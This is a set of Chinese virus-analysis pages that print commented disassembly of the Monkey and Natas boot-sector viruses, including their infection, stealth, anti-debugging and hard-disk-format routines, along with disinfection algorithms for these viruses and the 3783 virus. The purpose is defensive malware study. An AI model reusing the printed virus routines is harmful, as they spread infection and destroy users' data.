对于WINDOWS文件，由于病毒对文件修改较多，且数据结构复杂，一般不用手工消毒，在没有消毒程序的情况下，建议用以下办法：找一个压缩软件如 ARJ、LHA、RAR 等， 将文件改名为其他文件名如 A.EXE，再运行一个带毒文件使内存中驻留病毒，再将要消毒的文件打包，由于病毒执行了欺骗功能，所以由压缩软件读出并压进文件包的文件都是无毒的，用干净系统盘启动后，解压缩出来的文件就是无毒的了。在磁盘空间足够的情况下，也可以用这种方法全盘压缩，再全盘解压缩来消除全部病毒。编程自动消毒的步骤和算法如下：
⑴ 判断文件头 0018H 大于等于 40H 则继续 (表示有 "NE" 文件头)
⑵ 从文件头 003CH 取得偏移量读出 40H 字节，判断前 2 字节为 "NE" 则继续
⑶ 从 "NE" 报头中取相关数据计算入口段地址表记录偏移量，算法为：
偏移量＝"NE"报头偏移量＋["NE"报头22H]＋(["NE"报头16H]-1)＊8
⑷ 读出 8 字节入口段的段地址表记录
⑸ 如果本记录后 6 字节为 7D 0E 80 01 7D 0E 表示有 3783 病毒
⑹ 病毒起始位置(即原文件长)＝[段地址表记录00H]＊( 1 SHL ["NE"报头32H] )
⑺ 恢复原入口段地址表记录号：病毒中第 0E83H ＝> "NE"报头16H
恢复原入口 IP：病毒中第 0E85H ＝> "NE"报头14H
恢复原段地址表记录数："NE"报头 1CH 减 1
⑻ 将恢复的 "NE" 报头写回，将文件从病毒开始处截断
到此消毒已经完成。在消毒中省略了将 "NE"可执行报头及段地址表后移 8 字节的步骤，这并不影响文件的执行，如果一定要将文件完全复原，还要加上以下部分：
⑼ 将 "NE"报头 04H、24H、26H、28H、2AH 处的字及文件头 3CH 处的双字减 8
⑽ 将 "NE"报头开始到段地址表结束为止的数据后移 8 字节
将文件头 3CH 处的新数据写回

4．可执行文件的免疫

病毒的传染标记为文件时间加上 100 年，如果病毒检测到文件时间大于 2080 年就认为文件已经感染，所以可以用工具软件修改文件时间，将文件时间加上 100年就可完成免疫。

5. 消毒程序参考

  • kv.asm 我编写的一个全盘搜索的程序
  • k_1150.asm 杀 1150 病毒的子模块
  • k_monkey.asm 杀 Monkey 病毒的子模块
  • k_3783.asm 杀 3783 病毒的子模块
  • scanf.asm 公用输入模块
  • printf.asm 公用输出模块

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Monkey virus

Monkey 病毒的分析和防治

Monkey 病毒介绍:

Monkey，即猴子病毒传播硬盘和软盘的引导区，总长度为 01F4H（500字节），它将原引导记录加密后保存，在系统读出时先解密再送出，结果造成病毒不在内存中时，系统无法得到正常的引导记录，以至对所有硬盘分区无法访问。只有当从有病毒的盘启动时，才能正常访问硬盘。如果系统有以上情况，就应怀疑有无此病毒。检测时可以用干净盘启动，再用 DISKEDIT 编辑物理硬盘 0 柱面 0 磁道 1 扇区的主引导记录，对比以下源代码相同偏移出的内容是否相同即可确认。

病毒源代码分析：

1. 病毒的加载部分：

当病毒传染了引导记录后，系统启动时将病毒装入内存执行，然后病毒将系统内存减少 1K，将自己隐藏在其中。

...

0B3E:0097 CD12 INT 12 ;取内存容量
0B3E:0099 BE4C00 MOV SI,004C ;返回 AX = 内存 K 数
0B3E:009C 56 PUSH SI
0B3E:009D 2E CS:
0B3E:009E 803E6F0102 CMP BYTE PTR [016F],02
0B3E:00A3 740E JZ 00B3 ;软盘启动转 00B3
0B3E:00A5 E8F500 CALL 019D ;将内存减少 1K,见下
0B3E:00A8 BFFC01 MOV DI,01FC ;保留原 INT 13 到 01FC
0B3E:00AB B90200 MOV CX,0002 ;0000:004c -> 07c0:01fc
0B3E:00AE FC CLD
0B3E:00AF F3 REPZ
0B3E:00B0 A5 MOVSW

...

;==============================================================
;将内存减少 1 K
;0000:0413 处是常规内存的容量，把此处数值减少，系统将不会存取减少的部分
;但这时候，用 MEM 或 MI 看内存，将会发现常规内存只有 639K，这也是大部分
;引导区病毒的通病，所以有空一定常常用 MEM 看看内存（不过对大部分文件型
；病毒和狡猾的引导区病毒无效！）

0B3E:019D 48 DEC AX ;减少 1K
0B3E:019E A31304 MOV [0413],AX
0B3E:01A1 B106 MOV CL,06
0B3E:01A3 D3E0 SHL AX,CL
0B3E:01A5 0420 ADD AL,20
0B3E:01A7 8EC0 MOV ES,AX
0B3E:01A9 C3 RET

...

0B3E:00B6 5E POP SI ;SI = 004Ch,为 INT 13 中断向量地址
0B3E:00B7 C7042000 MOV WORD PTR [SI],0020
0B3E:00BB 894402 MOV [SI+02],AX ；截取 INT 13 到 CS:0020
0B3E:00BE 0E PUSH CS
0B3E:00BF 1F POP DS
0B3E:00C0 E8E700 CALL 01AA ;驻留内存
0B3E:00CE 51 PUSH CX
0B3E:00CF 53 PUSH BX

...

2. 病毒的传播部分：

;========================================================================
; 新 INT 13 程序，位于 CS：0020 处
;========================================================================
0B3E:0020 1E PUSH DS
0B3E:0021 56 PUSH SI
0B3E:0022 57 PUSH DI
0B3E:0023 50 PUSH AX
0B3E:0024 51 PUSH CX
0B3E:0025 52 PUSH DX
0B3E:0026 E89901 CALL 01C2 ;硬盘 CX = 0000 软盘 CX = 0100
0B3E:0029 80FC02 CMP AH,02
0B3E:002C 750E JNZ 003C

0B3E:002E 52 PUSH DX ;读盘
0B3E:002F 2BC0 SUB AX,AX ;取系统时间
0B3E:0031 CD1A INT 1A
0B3E:0033 80FA40 CMP DL,40 ;可以看到病毒并不是每次读盘读要传播
0B3E:0036 5A POP DX ；而是先判断时间
0B3E:0037 7303 JNB 003C
0B3E:0039 E8A900 CALL 00E5 ;传染
0B3E:003C 5A POP DX
0B3E:003D 59 POP CX
0B3E:003E 58 POP AX
0B3E:003F 5F POP DI
0B3E:0040 52 PUSH DX
0B3E:0041 51 PUSH CX
0B3E:0042 50 PUSH AX

0B3E:0043 83F903 CMP CX,+03
0B3E:0046 733A JNB 0082
0B3E:0048 3A34 CMP DH,[SI]
0B3E:004A 7536 JNZ 0082 ;非读原引导区退出
0B3E:004C 80FC02 CMP AH,02 ;读原引导区转 005F
0B3E:004F 740E JZ 005F
0B3E:0051 80FC03 CMP AH,03 ;写原引导区转 0056
0B3E:0054 752C JNZ 0082
0B3E:0056 80FA80 CMP DL,80 ;写软盘退出
0B3E:0059 7227 JB 0082
0B3E:005B 2AE4 SUB AH,AH ;写硬盘原引导记录
0B3E:005D EB23 JMP 0082 ;则屏蔽

;在这儿可以看到，当病毒在内存中时，写硬盘引导记录是无效的
；所以，这时候用 FDISK/MBR 或进行分区操作等都等于没有操作

0B3E:005F E82E00 CALL 0090 ;读原引导记录
0B3E:0062 7221 JB 0085
0B3E:0064 E8F800 CALL 015F ;判传染标志
0B3E:0067 7408 JZ 0071 ;未传染退出
0B3E:0069 E8FB00 CALL 0167
0B3E:006C 7403 JZ 0071
0B3E:006E F8 CLC
0B3E:006F EB14 JMP 0085

0B3E:0071 E80A01 CALL 017E ;得到原引导记录位置
0B3E:0074 8A7401 MOV DH,[SI+01]
0B3E:0077 58 POP AX
0B3E:0078 E81500 CALL 0090 ;读出原引导记录
0B3E:007B E86101 CALL 01DF ;解密
0B3E:007E 59 POP CX
0B3E:007F 5A POP DX
0B3E:0080 EB06 JMP 0088 ;退出

;从这一段可以看到，在系统读引导记录时，病毒先调出原来的引导记录
；解密后传送给系统，但当系统中没有病毒时，就无法得到正常的引导记录，
；这就是为什么用干净的软盘启动进不了硬盘的原因。

0B3E:0082 E80B00 CALL 0090
0B3E:0085 1F POP DS
0B3E:0086 1F POP DS
0B3E:0087 1F POP DS
0B3E:0088 5E POP SI
0B3E:0089 1F POP DS
0B3E:008A CA0200 RETF 0002

;=====================================================================
;病毒读盘
0B3E:008D B80102 MOV AX,0201
0B3E:0090 9C PUSHF ;病毒调用 INT 13H
0B3E:0091 2E CS:
0B3E:0092 FF1EFC01 CALL FAR [01FC]
0B3E:0096 C3 RET

;==============================================================
; 传染子程序
;==============================================================
0B3E:00E5 2BC9 SUB CX,CX
0B3E:00E7 41 INC CX
0B3E:00E8 51 PUSH CX
0B3E:00E9 8A34 MOV DH,[SI]
0B3E:00EB E89FFF CALL 008D ;读出引导记录
0B3E:00EE 7264 JB 0154
0B3E:00F0 E86C00 CALL 015F ;判病毒标志
0B3E:00F3 745F JZ 0154 ;已传染退出
0B3E:00F5 E86F00 CALL 0167
0B3E:00F8 7521 JNZ 011B ;已传染
0B3E:00FA 26 ES:
0B3E:00FB 83BFFA0100 CMP WORD PTR [BX+01FA],+00
0B3E:0100 7452 JZ 0154 ;硬盘退出
0B3E:0102 26 ES:
0B3E:0103 C787FA010000 MOV WORD PTR [BX+01FA],0000
0B3E:0109 B101 MOV CL,01 ;写病毒
0B3E:010B E84800 CALL 0156
0B3E:010E 7244 JB 0154
0B3E:0110 41 INC CX
0B3E:0111 8A7402 MOV DH,[SI+02]
0B3E:0114 E876FF CALL 008D
0B3E:0117 723B JB 0154
0B3E:0119 58 POP AX
0B3E:011A 51 PUSH CX
0B3E:011B E86000 CALL 017E ;转换
0B3E:011E E8BE00 CALL 01DF ;加密
0B3E:0121 46 INC SI
0B3E:0122 E83100 CALL 0156 ;保存原引导记录
0B3E:0125 4E DEC SI
0B3E:0126 722C JB 0154
0B3E:0128 E8B400 CALL 01DF ;解密
0B3E:012B 51 PUSH CX
0B3E:012C E87B00 CALL 01AA ;移动病毒到原引导区
0B3E:012F 59 POP CX
0B3E:0130 52 PUSH DX
0B3E:0131 80FA80 CMP DL,80
0B3E:0134 7302 JNB 0138
0B3E:0136 32D2 XOR DL,DL
0B3E:0138 26 ES:
0B3E:0139 8997DC00 MOV [BX+00DC],DX
0B3E:013D 5A POP DX
0B3E:013E 26 ES:
0B3E:013F 888FDA00 MOV [BX+00DA],CL
0B3E:0143 26 ES:
0B3E:0144 C787FE0155AA MOV WORD PTR [BX+01FE],AA55
0B3E:014A 59 POP CX
0B3E:014B 51 PUSH CX
0B3E:014C 26 ES:
0B3E:014D 888F6F01 MOV [BX+016F],CL
0B3E:0151 E80200 CALL 0156 ;写病毒到引导记录
0B3E:0154 58 POP AX
0B3E:0155 C3 RET

;===========================================================
;保存原引导记录
0B3E:0156 8A34 MOV DH,[SI]
0B3E:0158 B80103 MOV AX,0301
0B3E:015B E832FF CALL 0090
0B3E:015E C3 RET

0B3E:015F 26 ES:
0B3E:0160 81BFFA011992 CMP WORD PTR [BX+01FA],9219
0B3E:0166 C3 RET

0B3E:0167 26 ES:
0B3E:0168 81BF19015061 CMP WORD PTR [BX+0119],6150
0B3E:016E C3 RET

;===========================================================
;查表得到保存原引导记录的扇区号
0B3E:017E 57 PUSH DI
0B3E:017F 56 PUSH SI
0B3E:0180 26 ES:
0B3E:0181 8A4714 MOV AL,[BX+14]
0B3E:0184 B90400 MOV CX,0004
0B3E:0187 8BF1 MOV SI,CX
0B3E:0189 4E DEC SI
0B3E:018A 38847601 CMP [SI+0176],AL
0B3E:018E 7406 JZ 0196
0B3E:0190 E2F5 LOOP 0187
0B3E:0192 B103 MOV CL,03
0B3E:0194 EB04 JMP 019A
0B3E:0196 8A8C7A01 MOV CL,[SI+017A]
0B3E:019A 5E POP SI
0B3E:019B 5F POP DI
0B3E:019C C3 RET

...

;================================================================
;加密/解密原引导记录，从这一段可以看到，病毒只是把原引导记录简单
；的和 2E 进行异或，所以即使不慎用 FDISK/MBR 把病毒破坏掉了，也可以
；手工简单的将引导记录解密

0B3E:01DF 57 PUSH DI
0B3E:01E0 51 PUSH CX
0B3E:01E1 50 PUSH AX
0B3E:01E2 8BFB MOV DI,BX
0B3E:01E4 B90002 MOV CX,0200
0B3E:01E7 FC CLD
0B3E:01E8 26 ES:
0B3E:01E9 8A05 MOV AL,[DI]
0B3E:01EB 342E XOR AL,2E
0B3E:01ED AA STOSB
0B3E:01EE E2F8 LOOP 01E8
0B3E:01F0 58 POP AX
0B3E:01F1 59 POP CX
0B3E:01F2 5F POP DI
0B3E:01F3 C3 RET

杀毒要点：

1. 内存中的病毒最好用查找字符串的方法，如果找到特征字符串，可以把病毒中 INT 13H 传染部分的有关代码跳过，假设已找到病毒的内存段地址在 DS 中：

mov word ptr ds:[0020h],0ff2eh
mov word ptr ds:[0022h],0fc2eh
mov byte ptr ds:[0024h],1
mov word ptr ds:[01d0h],0

2. 磁盘中的病毒，可以先读出有病毒的引导记录，再在病毒体中的 00DA 中得到原引导记录的扇区号，在 00DC 中的到磁头号，再读出加密过的原引导记录，解密后再写如引导区如下：

xor ch,ch ;read out old boot area
mov cl,byte ptr file_exec+0dah
mov dx,word ptr file_exec+0dch
call read_disk ;

call monkey_decode ；de-code it
call write_to_boot
...

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Natas virus

Natas 幽灵王病毒的分析

病毒介绍:

Natas 病毒，长度 4744 字节，有的地方有把它称为 4744 病毒，由于病毒是用了变型技术，本身的形态几乎有无穷多种，使杀毒软件总漏掉一两个，不知什么时候又冒了出来，所以又称它为‘幽灵王’。
但变型加密技术并不可怕，我认为，查病毒并没有通用的方法，病毒用了多少的代码用于加密，杀毒程序也少不了这么多代码，编病毒的人用了多少时间调试，杀病毒的人只会用更多的时间去分析，从来没有通用的杀毒办法，只要以这种态度去分析病毒，杀毒程序就能把病毒杀完全。君不见，有些杀毒软件刚推出是号称开放式杀毒，永远不用升级，用户自己只要加加病毒库就行了，但到后来，升级升得比谁都快，出一个新病毒一升级，版本号都快把26个字母用完了。
由于 Natas 病毒的长度长达 4744 字节，变型加密部分就用的近 2k，我一时没有时间写具体的杀毒细节，只能尽可能多注释一下。
  Natas 病毒是一种恶性病毒，它再启动时有1/512的机会要格式化硬盘。如果发现它，要注意马上杀，不然下一次启动你的硬盘资料可能就完蛋了。具体分析见注释。如果谁有杀毒原程序愿意公布，可以发一份给我。

病毒分析:

9E80:0000 0E             PUSH	CS
9E80:0001 1F             POP	DS
9E80:0002 E89400         CALL	0099 		;保存 INT 13/15/21/40
9E80:0005 A27304         MOV	[0473],AL 	;AL = 0
9E80:0008 A21114         MOV	[1411],AL
9E80:000B 8EC0           MOV	ES,AX
9E80:000D 5F             POP	DI
9E80:000E 83EF03         SUB	DI,+03
9E80:0011 50             PUSH	AX
9E80:0012 57             PUSH	DI 		;设置执行原引导记录地址
9E80:0013 BE4700         MOV	SI,0047 	;解密并恢复原引导区
9E80:0016 E81D00         CALL	0036
9E80:0019 B013           MOV	AL,13
9E80:001B BA7204         MOV	DX,0472 	;设置新 INT 13 => CS:0472
9E80:001E E8B300         CALL	00D4
9E80:0021 E8EF00         CALL	0113 		;传染硬盘引导区
9E80:0024 84168E00       TEST	[008E],DL
9E80:0028 740B           JZ	0035
9E80:002A B8FF01         MOV	AX,01FF
9E80:002D E83611         CALL	1166 		;产生随机数 < 512
9E80:0030 7503           JNZ	0035 		;如果为 0 转格式化硬盘
9E80:0032 E91304         JMP	0448 		;即每次启动有 1/512 的机会
9E80:0035 CB             RETF	 		;格式化硬盘
;===========================================================================
;加密/解密原引导记录
9E80:0036 8A64FF         MOV	AH,[SI-01]
9E80:0039 B92900         MOV	CX,0029
9E80:003C FC             CLD
9E80:003D AC             LODSB
9E80:003E 32C4           XOR	AL,AH
9E80:0040 D0C4           ROL	AH,1
9E80:0042 AA             STOSB
9E80:0043 E2F8           LOOP	003D
9E80:0045 C3             RET
9E80:0046                    07 FD-3D DC B6 A0 5C C1 FF 11        .}=\6 \A..
9E80:0050  09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C  .'@pV.4.X.kO^=:.
9E80:0060  0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A  .`KTf^EBp.3~x=.J
;==========================================================================
;	新引导区入口程序
;==========================================================================
9E80:0070 E80000         CALL	0073 		;重定位
9E80:0073 BF4000         MOV	DI,0040
9E80:0076 8EDF           MOV	DS,DI 		;0040:0013
9E80:0078 836DD306       SUB	Word Ptr [DI-2D],+06 	;内存减 6K
9E80:007C 8B45D3         MOV	AX,[DI-2D]
9E80:007F B10A           MOV	CL,0A
9E80:0081 D3C8           ROR	AX,CL
9E80:0083 8EC0           MOV	ES,AX 		;高端段地址
9E80:0085 B80902         MOV	AX,0209 	;读出病毒 9 扇区
9E80:0088 33DB           XOR	BX,BX
9E80:008A B9014F         MOV	CX,4F01   ===>	;CX, DX 值由 0166 设置
9E80:008D BA0001         MOV	DX,0100
9E80:0090 CD13           INT	13
9E80:0092 7203           JB	0097
9E80:0094 06             PUSH	ES 		;转 0000 执行
9E80:0095 53             PUSH	BX
9E80:0096 CB             RETF
9E80:0097 CD18           INT	18
;===========================================================================
;保存中断开始 5 字节
;INT 13 ===> 13EB
;INT 15 ===> 13F3
;INT 40 ===> 13F7
;INT 21 ===> 13FB
9E80:0099 1E             PUSH	DS
9E80:009A 33C0           XOR	AX,AX
9E80:009C 8ED8           MOV	DS,AX
9E80:009E BE4C00         MOV	SI,004C 	;中断 13
9E80:00A1 BFEB13         MOV	DI,13EB
9E80:00A4 56             PUSH	SI
9E80:00A5 56             PUSH	SI
9E80:00A6 A5             MOVSW
9E80:00A7 A5             MOVSW
9E80:00A8 5E             POP	SI
9E80:00A9 A5             MOVSW
9E80:00AA A5             MOVSW
9E80:00AB BE5400         MOV	SI,0054 	;中断 15
9E80:00AE A5             MOVSW
9E80:00AF A5             MOVSW
9E80:00B0 5E             POP	SI
9E80:00B1 38067504       CMP	[0475],AL
9E80:00B5 7403           JZ	00BA
9E80:00B7 BE0001         MOV	SI,0100
9E80:00BA A5             MOVSW
9E80:00BB A5             MOVSW
9E80:00BC BE8400         MOV	SI,0084 	;中断 21
9E80:00BF A5             MOVSW
9E80:00C0 A5             MOVSW
9E80:00C1 1F             POP	DS
9E80:00C2 C3             RET
;=========================================================================
;取中断向量于 ES:BX, 入口 AL = 中断向量号
9E80:00C3 50             PUSH	AX
9E80:00C4 32E4           XOR	AH,AH
9E80:00C6 D1C0           ROL	AX,1
9E80:00C8 D1C0           ROL	AX,1
9E80:00CA 93             XCHG	AX,BX
9E80:00CB 33C0           XOR	AX,AX
9E80:00CD 8EC0           MOV	ES,AX
9E80:00CF 26C41F         LES	BX,ES:[BX]
9E80:00D2 58             POP	AX
9E80:00D3 C3             RET
;=========================================================================
;设置中断向量到 DS:DX, 入口 AL = 中断向量号
9E80:00D4 50             PUSH	AX
9E80:00D5 53             PUSH	BX
9E80:00D6 1E             PUSH	DS
9E80:00D7 32E4           XOR	AH,AH
9E80:00D9 D1C0           ROL	AX,1
9E80:00DB D1C0           ROL	AX,1
9E80:00DD 93             XCHG	AX,BX
9E80:00DE 33C0           XOR	AX,AX
9E80:00E0 1E             PUSH	DS
9E80:00E1 8ED8           MOV	DS,AX
9E80:00E3 8917           MOV	[BX],DX
9E80:00E5 8F4702         POP	[BX+02]
9E80:00E8 1F             POP	DS
9E80:00E9 5B             POP	BX
9E80:00EA 58             POP	AX
9E80:00EB C3             RET
;========================================================================
;所有寄存器进堆栈
9E80:00EC 2E8F060214     POP	CS:[1402]
9E80:00F1 9C             PUSHF
9E80:00F2 50             PUSH	AX
9E80:00F3 53             PUSH	BX
9E80:00F4 51             PUSH	CX
9E80:00F5 52             PUSH	DX
9E80:00F6 55             PUSH	BP
9E80:00F7 56             PUSH	SI
9E80:00F8 57             PUSH	DI
9E80:00F9 1E             PUSH	DS
9E80:00FA 06             PUSH	ES
9E80:00FB 8BEC           MOV	BP,SP
9E80:00FD 2EFF260214     JMP	CS:[1402]
;=========================================================================
;所有寄存器出堆栈
9E80:0102 2E8F060214     POP	CS:[1402]
9E80:0107 07             POP	ES
9E80:0108 1F             POP	DS
9E80:0109 5F             POP	DI
9E80:010A 5E             POP	SI
9E80:010B 5D             POP	BP
9E80:010C 5A             POP	DX
9E80:010D 59             POP	CX
9E80:010E 5B             POP	BX
9E80:010F 58             POP	AX
9E80:0110 9D             POPF
9E80:0111 EBEA           JMP	00FD
;==========================================================================
;文件执行初始化及启动时传染硬盘子程序
;由 0021 043C 调用
9E80:0113 0E             PUSH	CS
9E80:0114 0E             PUSH	CS
9E80:0115 07             POP	ES
9E80:0116 1F             POP	DS
9E80:0117 B80102         MOV	AX,0201
9E80:011A BB1314         MOV	BX,1413
9E80:011D B90100         MOV	CX,0001
9E80:0120 BA8000         MOV	DX,0080
9E80:0123 E89509         CALL	0ABB 		;读硬盘主引导区
9E80:0126 7230           JB	0158
9E80:0128 38AFBF01       CMP	[BX+01BF],CH 	;无保留磁道不传染
9E80:012C 742A           JZ	0158
9E80:012E 8B8FC401       MOV	CX,[BX+01C4] 	;取保留磁道扇区数
9E80:0132 83E13F         AND	CX,+3F 		;屏蔽 CX 高位 (柱面高位)
9E80:0135 83E909         SUB	CX,+09 		;到数 9 扇区
9E80:0138 761E           JBE	0158 		;扇区数小于 9 不传染
9E80:013A 80F901         CMP	CL,01
9E80:013D 7619           JBE	0158
9E80:013F E81700         CALL	0159 		;判断是否已传染
9E80:0142 7214           JB	0158 		;已传染退出
9E80:0144 53             PUSH	BX
9E80:0145 B80903         MOV	AX,0309 	;写病毒到保留扇区
9E80:0148 33DB           XOR	BX,BX
9E80:014A E86E09         CALL	0ABB
9E80:014D 5B             POP	BX
9E80:014E 7208           JB	0158
9E80:0150 B80103         MOV	AX,0301 	;写新引导记录
9E80:0153 B101           MOV	CL,01 		;CS:0000
9E80:0155 E86309         CALL	0ABB
9E80:0158 C3             RET
;==========================================================================
;判断引导记录是否已传染及准备新的引导记录
9E80:0159 51             PUSH	CX
9E80:015A 52             PUSH	DX
9E80:015B 81BFFE0155AA   CMP	Word Ptr [BX+01FE],AA55
9E80:0161 7525           JNZ	0188
9E80:0163 BF4700         MOV	DI,0047
9E80:0166 894D44         MOV	[DI+44],CX 	;保存病毒传染位置
9E80:0169 80E280         AND	DL,80
9E80:016C 895547         MOV	[DI+47],DX
9E80:016F E81A00         CALL	018C 		;判断是否传染 (返回 SI 地址)
9E80:0172 7414           JZ	0188 		;已传染转 0188 退出
9E80:0174 E8EC0F         CALL	1163 		;产生随机数
9E80:0177 8865FF         MOV	[DI-01],AH 	;保存于 0046
9E80:017A 56             PUSH	SI
9E80:017B E8BBFE         CALL	0039 		;加密原引导记录
9E80:017E 8BF7           MOV	SI,DI 		;SI = 0070, 病毒入口
9E80:0180 5F             POP	DI 		;DI = 原引导记录 JMP 入口
9E80:0181 B92900         MOV	CX,0029 	;移动病毒到原引导记录
9E80:0184 F3             REPZ
9E80:0185 A4             MOVSB
9E80:0186 F8             CLC
9E80:0187 B0F9           MOV	AL,F9
9E80:0189 5A             POP	DX
9E80:018A 59             POP	CX
9E80:018B C3             RET
;==========================================================================
;返回 JMP 后的指令地址于 SI
;判断 JMP 后指令是否为 0070 处指令 (是否传染)
9E80:018C 8BF3           MOV	SI,BX
9E80:018E FC             CLD
9E80:018F AC             LODSB
9E80:0190 50             PUSH	AX
9E80:0191 AD             LODSW
9E80:0192 91             XCHG	AX,CX 		;AL/CX 为引导区前 3 字节
9E80:0193 58             POP	AX
9E80:0194 3CEB           CMP	AL,EB 		;JMP XXXX
9E80:0196 7505           JNZ	019D
9E80:0198 32ED           XOR	CH,CH
9E80:019A 4E             DEC	SI
9E80:019B EB08           JMP	01A5
9E80:019D 3CE9           CMP	AL,E9 		;JMP XXXX
9E80:019F 7404           JZ	01A5
9E80:01A1 33C9           XOR	CX,CX
9E80:01A3 8BF3           MOV	SI,BX
9E80:01A5 03F1           ADD	SI,CX 		;SI 为引导记录开始指令
9E80:01A7 81FEE515       CMP	SI,15E5 	;15E5 - 1413 = 01D2
9E80:01AB 73F4           JNB	01A1 		; > 01D2 退出
9E80:01AD 813CE800       CMP	Word Ptr [SI],00E8
9E80:01B1 7505           JNZ	01B8 		;判前 2 句指令是否
9E80:01B3 817C0200BF     CMP	Word Ptr [SI+02],BF00 	;CALL next/MOV DI,xxxx
9E80:01B8 C3             RET	 		;(见 0070)
;=========================================================================
;判断是否有跟踪
;如果有,返回 BP <> 0
9E80:01B9 33C0           XOR	AX,AX
9E80:01BB 9C             PUSHF
9E80:01BC 5A             POP	DX 		;取当前标志
9E80:01BD 80E6FE         AND	DH,FE
9E80:01C0 52             PUSH	DX
9E80:01C1 52             PUSH	DX
9E80:01C2 9D             POPF
9E80:01C3 16             PUSH	SS
9E80:01C4 17             POP	SS
9E80:01C5 9C             PUSHF
9E80:01C6 5A             POP	DX
9E80:01C7 F6C601         TEST	DH,01
9E80:01CA 5A             POP	DX
9E80:01CB 7415           JZ	01E2 		;无跟踪转 01E2
9E80:01CD 06             PUSH	ES
9E80:01CE 33ED           XOR	BP,BP
9E80:01D0 8CD1           MOV	CX,SS
9E80:01D2 FA             CLI
9E80:01D3 8ED5           MOV	SS,BP
9E80:01D5 C47E04         LES	DI,[BP+04] 	;有跟踪取 INT 01 地址
9E80:01D8 8ED1           MOV	SS,CX
9E80:01DA FB             STI
9E80:01DB B0CF           MOV	AL,CF
9E80:01DD FC             CLD
9E80:01DE AA             STOSB	 		;将 INT 01 设置为 IRET
9E80:01DF 07             POP	ES
9E80:01E0 52             PUSH	DX
9E80:01E1 9D             POPF
9E80:01E2 95             XCHG	AX,BP 		;无跟踪 AX = 0
9E80:01E3 C3             RET
;========================================================================
;保存或恢复 INT 13 中断前 5 字节
9E80:01E4 E805FF         CALL	00EC
9E80:01E7 BED913         MOV	SI,13D9
9E80:01EA 2EC47C16       LES	DI,CS:[SI+16]
9E80:01EE EB0A           JMP	01FA
;========================================================================
;保存或恢复 INT 21 中断前 5 字节
9E80:01F0 E8F9FE         CALL	00EC
9E80:01F3 BEDE13         MOV	SI,13DE
9E80:01F6 2EC47C1D       LES	DI,CS:[SI+1D]
9E80:01FA 0E             PUSH	CS
9E80:01FB 1F             POP	DS
9E80:01FC B90500         MOV	CX,0005
9E80:01FF 382E1114       CMP	[1411],CH 	;[1411] 引导区引入时为 0
9E80:0203 740B           JZ	0210
9E80:0205 FC             CLD
9E80:0206 AC             LODSB
9E80:0207 268605         XCHG	AL,ES:[DI]
9E80:020A 8844FF         MOV	[SI-01],AL
9E80:020D 47             INC	DI
9E80:020E E2F6           LOOP	0206
9E80:0210 E8EFFE         CALL	0102
9E80:0213 C3             RET
;=========================================================================
;由初始化程序调用
9E80:0214 E882FE         CALL	0099 		;保存 INT 13/15/21/40
9E80:0217 B452           MOV	AH,52		;中断前 5 字节
9E80:0219 CD21           INT	21
9E80:021B 268B47FE       MOV	AX,ES:[BX-02] 	;AX = 第一块 MCB 地址
9E80:021F A3AD02         MOV	[02AD],AX
9E80:0222 B001           MOV	AL,01 		;取 INT 01 中断地址
9E80:0224 E89CFE         CALL	00C3
9E80:0227 53             PUSH	BX
9E80:0228 06             PUSH	ES
9E80:0229 BA7702         MOV	DX,0277 	;设置 INT 01 中断地址
9E80:022C E8A5FE         CALL	00D4 		;到 CS:0277
9E80:022F 9C             PUSHF
9E80:0230 5E             POP	SI
9E80:0231 BF9702         MOV	DI,0297
9E80:0234 C60503         MOV	Byte Ptr [DI],03
9E80:0237 B401           MOV	AH,01
9E80:0239 E83400         CALL	0270 		;激活 INT 01
9E80:023C E87C08         CALL	0ABB 		;执行 INT 13,找 BIOS INT 13地址
;本句功能为先执行 029B, 再执行 02C8,在 02C8 中找出
;BIOS 的 INT 13 地址, 即段地址高位在 C8 到 F4 之间
;找到以后转 02B4, 将 INT 13 地址保存在 13EB 中
9E80:023F C60526         MOV	Byte Ptr [DI],26
9E80:0242 B4C0           MOV	AH,C0
9E80:0244 E82900         CALL	0270 		;激活 INT 01
9E80:0247 9C             PUSHF	 		;调用 INT 15,找 BIOS INT 15地址
9E80:0248 FF1EF313       CALL	FAR [13F3]
;本段功能为先执行 02BE, 同上找出 BIOS INT 15 地址
;保存于 13F3 中
9E80:024C C60513         MOV	Byte Ptr [DI],13
9E80:024F B430           MOV	AH,30
9E80:0251 E81C00         CALL	0270 		;激活 INT 01
9E80:0254 E86E08         CALL	0AC5 		;调用 INT 21
;本段功能为找出 MSDOS 中 INT 21 的地址, 先执行
;02AB, 判断执行段地址小于第一块 MCB 地址, 即为
;INT 21 的地址, 找到后保存于 13FB 中
9E80:0257 C6052B         MOV	Byte Ptr [DI],2B
9E80:025A B401           MOV	AH,01
9E80:025C E81100         CALL	0270
9E80:025F E86908         CALL	0ACB
;本段功能为找出 BIOS INT 40 地址,具体为先执行 02C3
;再同 INT 13 之执行, 找到 INT 40 地址保存于 13F7 中
9E80:0262 81E6FFFE       AND	SI,FEFF
9E80:0266 56             PUSH	SI
9E80:0267 9D             POPF			;停止 INT 01
9E80:0268 1F             POP	DS 		;恢复原 INT 01 地址
9E80:0269 5A             POP	DX
9E80:026A B001           MOV	AL,01
9E80:026C E865FE         CALL	00D4
9E80:026F C3             RET
9E80:0270 81CE0001       OR	SI,0100
9E80:0274 56             PUSH	SI
9E80:0275 9D             POPF
9E80:0276 C3             RET
;=========================================================================
;	病毒新 INT 01
;	这是一个多个地方调用的子程序, 先由调用者设置 0296 出 JNZ 指令
;	跳转的地址, 再设置并激活 INT 01
;	在 0099 中用来找出初始 INT 13/15/21/40 地址
;	在 INT 21 结束时用来重新截取 INT 21
9E80:0277 1E             PUSH	DS
9E80:0278 0E             PUSH	CS
9E80:0279 1F             POP	DS
9E80:027A 893E6F03       MOV	[036F],DI 	;DI = 13E3
9E80:027E BF6303         MOV	DI,0363
9E80:0281 8905           MOV	[DI],AX 	;保存返回时的
9E80:0283 895D03         MOV	[DI+03],BX 	;AX 到 DX 值
9E80:0286 894D06         MOV	[DI+06],CX
9E80:0289 895509         MOV	[DI+09],DX
9E80:028C 8F45FB         POP	[DI-05] 	;保存返回时的 DS
9E80:028F 5B             POP	BX 		;调用 IP (INT 01)
9E80:0290 59             POP	CX 		;调用 CS
9E80:0291 5A             POP	DX 		;调用 FLAG
9E80:0292 8CC8           MOV	AX,CS
